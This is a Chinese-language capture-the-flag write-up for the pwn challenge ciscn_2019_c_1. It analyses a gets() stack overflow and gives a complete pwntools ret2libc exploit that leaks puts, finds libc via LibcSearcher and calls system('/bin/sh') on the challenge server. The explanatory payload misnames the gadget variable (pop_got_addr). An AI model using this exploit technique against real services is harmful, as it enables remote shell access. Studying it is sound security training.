查看程序
可以看到程序是amd64位的程序
并且只开启了NX保护;可以考虑栈溢出漏洞;
IDA64分析程序
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
通过main函数其实我们没有发现什么有用的信息;
只有一个int类型的数据输入,无法构造栈溢出;
begin
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}
begin函数很明显就只是一个信息打印的函数;没有什么作用;
encrypt
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s); //栈溢出构造点
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) ) //strlen()函数遇到‘\0’截止
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 13u;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
encrypt加密函数,在这里很明显有个gets函数
能够作为栈溢出的构造点;
查看字符串
按 Shift + F12
查看该程序中的字符串
在该程序中并没有什么类似 system
/bin/sh
等有用的字符串;
无法使用ret2text;
漏洞利用
基本思路
由于程序本身并没有 system
/bin/sh
的调用,放弃使用ret2text和ret2syscall的想法
故我们考虑利用 ret2libc
通过已经调用过的函数去泄露它在程序中的地址,然后利用地址末尾的3个字节,去找到该程序所用的libc版本;
程序中函数的地址跟libc中函数的地址的关系:程序函数地址=加载程序的基址+libc中函数偏移量
想办法通过encrypt函数的 get函数
栈溢出获得其中一个函数的地址
通过LibcSearcher得到该函数在对应libc中的偏移量
即可得到 加载程序的基址
基本构造
在此之前,我们需要先了解32位和64位程序调用函数传参的差别;
32位直接通过栈来传参,而64位则先使用寄存器RDI、RSI、RDX、RCX、R8、R9进行传参,如果多余6个参数,则再使用栈进行传参;
-
main_addr:通过IDA64即可查看main函数的起始地址为
0x400B28
-
pop_rdi_addr:可通过使用ROPgadget工具进行查找,可得地址为
0x400c83
ROPgadget --binary ciscn_2019_c_1 |grep "pop rdi"
- puts_got_addr:通过ELF程序获取
elf.got['puts']
- puts_plt_addr:通过ELF程序获取
elf.plt['puts']
综上,我们可以构造第一段payload为(payload首部加入‘\0’是为了绕过encrypt函数,防止输入的字符串加密而变化,strlen()函数遇‘\0’截止)
payload = b'\0' + b'a'*(0x50 - 1 + 0x8) + p64(pop_got_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
我们通过 \0
截断了encrypt函数,但是函数仍然会执行并产生空输出;
所以我们通过puts函数输出的puts函数的地址则会在输出两行之后输出
Input your Plaintext to be encrypted
\0 //<输入的明文字符>,payload注入位置
Ciphertext
//<输出的加密密文字符>
puts函数地址
所以我们通过两次p.recvline()接收,两行字符串后
使用puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
接收puts函数的地址;
现在,我们已经得到了puts函数的地址,通过使用LibcSearcher查询对应的libc版本
libc = LibcSearcher('puts', puts_addr)
这里插一句,LibcSearcher安装,直接使用pip安装即可,运行一下两条指令即可
使用 pip
sudo pip3 install LibcSearcher
更新
sudo pip3 install -U LibcSearcher
随后我们可以通过得到的libc版本来查询对应字符串或函数的偏移地址,也包括puts函数的偏移地址;
程序函数地址=加载程序的基址+libc中函数偏移量
故我们可以计算加载程序的基址,通过基址和各个函数以及字符串的偏移量可以计算各个函数以及字符串在程序中的地址
libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))
#/bin/sh字符串的偏移地址
binsh_addr_offset = libc.dump('str_bin_sh')
#system函数的偏移地址
system_offset = libc.dump('system')
binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset
对于调用system函数,我们需要考虑堆栈平衡,我们使用ret指令来实现堆栈平衡,因为ret指令执行之前会自动进行堆栈平衡操作;
与构造payload1同理,我们构造payload2,如下所示
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr) #堆栈平衡
payload += p64(pop_rdi_addr) #将system函数的参数保存到rdi中
payload += p64(binsh_addr) #pop指令的执行的操作数
payload += p64(system_addr) #调用system函数获得shell
最终的exp如下所示:
exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='info')
p = remote('node4.buuoj.cn',29745)
#p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
main_addr = 0x400b28
pop_rdi_addr = 0x400c83
ret_addr = 0x4006b9
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
p.sendlineafter(b'Input your choice!\n', b'1')
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(pop_rdi_addr)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#puts_addr = 0x7f8685384970
print('puts函数地址:' + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
baseaddr = puts_addr-libc.dump('puts')
print('程序基址:' + hex(baseaddr))
binsh_addr_offset = libc.dump('str_bin_sh')
system_offset = libc.dump('system')
binsh_addr = baseaddr + binsh_addr_offset
system_addr = baseaddr + system_offset
p.sendlineafter(b'Input your choice!\n', b'1')
payload = b'\0' + b'a'*(0x50 - 1 + 8)
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.interactive()
这里的LibcSearcher是在线查询libc版本,所以可能会查到不止一个libc版本,选择其中认为最正确的即可;
有可能选择的libc不正确,再运行一次,尝试其他的libc版本;